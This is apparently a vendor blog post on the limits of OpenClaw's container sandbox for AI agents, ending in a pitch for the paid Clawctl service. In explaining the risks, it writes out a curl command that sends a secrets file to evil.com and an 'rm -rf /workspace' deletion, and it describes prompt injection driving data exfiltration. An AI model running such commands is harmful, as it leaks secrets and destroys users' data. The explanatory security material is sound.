OpenClaw Sandbox Explained: How Container Isolation Protects Your Server
My agent installed ffmpeg, converted 200 videos, and filled the disk. The host machine ran out of space. Every service on that server went down.
The sandbox was working. The agent ran inside its container. But "inside the container" and "safe" are not the same thing.
What the Sandbox Is
OpenClaw runs your agent's code inside a Docker container. That container is the sandbox.
When your agent executes a shell command, it runs inside this container. Not on your host machine. The agent sees its own filesystem (/workspace), its own process tree, its own network stack.
This is real isolation. The agent can't read your host files. It can't kill your other processes. It can't access other containers' data.
That's the good news.
What the Sandbox Protects Against
File system escape. The agent can't read /etc/passwd on your host. It can't access your home directory. It sees /workspace and the container filesystem. Nothing else.
Process interference. An agent that forks 1,000 processes won't affect other containers or the host's process table (with proper cgroup limits).
Package pollution. The agent installs Python packages, npm modules, system tools. All inside the container. Your host stays clean.
Basic code execution safety. If the agent writes and runs a script that crashes, only the container is affected. Your host keeps running.
This is meaningful protection. For development and testing, the default sandbox is enough.
For production, it's not.
What the Sandbox Doesn't Protect Against
Here's what catches people off guard.
Network Access Is Unrestricted
Your sandbox container has full internet access by default. The agent can:
- Call any API on the internet
- Send data to any webhook
- Download packages from anywhere
- Exfiltrate workspace files to an external URL
If a prompt injection tricks your agent into sending customer data to an attacker's server, the sandbox won't stop it. The container has network access. The request goes through.
Docker Socket Grants Host Access
In a default OpenClaw setup, the gateway mounts the Docker socket:
volumes:
- /var/run/docker.sock:/var/run/docker.sock
This gives the gateway root-level access to the Docker daemon. It can start containers, stop containers, inspect environment variables of other containers, and mount host directories.
The sandbox isolates the agent's code execution. But the gateway that manages the sandbox has the keys to the entire host. We covered this in detail in our Docker exposure guide.
Running OpenClaw in production? The sandbox is the foundation. Make sure the foundation is solid. Deploy securely with Clawctl →
No Resource Limits by Default
That ffmpeg incident? The container had no memory or CPU limits set. The agent consumed all available disk space because nothing stopped it.
Docker supports resource constraints:
deploy:
resources:
limits:
memory: 2G
cpus: "1.0"
But OpenClaw's default compose file doesn't set them. You have to add them yourself.
No Execution Logging
The sandbox runs commands. It doesn't record them.
If your agent ran curl https://evil.com/exfil -d @/workspace/secrets.txt at 3am, you'd have no way to know. No audit trail. No command history. No alert.
For production use cases, this is a dealbreaker. Your customers will ask what the agent did. Your security team will demand an audit trail. You need logging. See our audit logging guide for the full picture.
No Human Approval Flow
Every command the agent decides to run executes immediately. There's no pause. No review step. No approval workflow.
The LLM says "run rm -rf /workspace" and the gateway executes it. Nobody asked you.
OpenClaw supports exec approvals as a configuration option. But they're off by default. And configuring them for specific action categories (destructive commands, external API calls, file deletions) requires custom work. We have a deep dive on configuring approval workflows for 70+ dangerous actions.
The Gap Between Sandbox and Production
Here's what it looks like side by side:
| Security Layer | Sandbox Provides | Production Requires |
|---|---|---|
| Code execution isolation | Yes | Yes |
| Filesystem isolation | Yes | Yes |
| Network egress controls | No | Allowlist-based filtering |
| Resource limits | No (manual config) | Enforced per agent |
| Docker socket scoping | No (full host access) | Per-tenant proxy |
| Command audit logging | No | Every command recorded |
| Human approval flows | No (opt-in config) | Configurable per action type |
| Auto-recovery on crash | No | Health checks + restart |
| API key protection | No (plaintext .env) | Encrypted at rest |
The sandbox handles the left column. Production needs the right column too.
This isn't a criticism of OpenClaw. The sandbox does exactly what it's designed to do: isolate code execution. The gap is between isolation and full production security.
For more on what a complete production setup looks like, see our production deployment checklist and architecture guide.
How Clawctl Closes the Gaps
Clawctl keeps the OpenClaw sandbox and adds the missing layers.
Docker socket proxy. A sidecar container that filters Docker API calls. Your gateway can only manage its own sandbox container. No access to other containers or the host. Regex-scoped filtering per tenant.
Network egress controls. Define which domains your agent can reach. Everything else is blocked at the network level. Your agent talks to your LLM provider and your approved APIs. Nothing else.
Resource limits enforced. CPU, memory, and disk are capped per agent. One runaway ffmpeg job won't take down the server.
Full audit trail. Every command, every file read, every API call. Timestamped and searchable. Pull up any action your agent took in the last 90 days.
Human approvals. Configure which action categories need approval before execution. 70+ dangerous actions are flagged by default. The agent asks before it deletes.
Auto-recovery. If the container crashes, Clawctl detects it within seconds. Automatic restart. If restarts fail, escalation to a fresh redeploy. Your agent stays up without you waking up.
The sandbox is the starting point. Clawctl is what makes it production-ready.
Ready to stop worrying?
Clawctl locks down your OpenClaw instance in 60 seconds. Encrypted keys, audit logs, egress controls, human approvals. $49/mo. No contracts. Start now →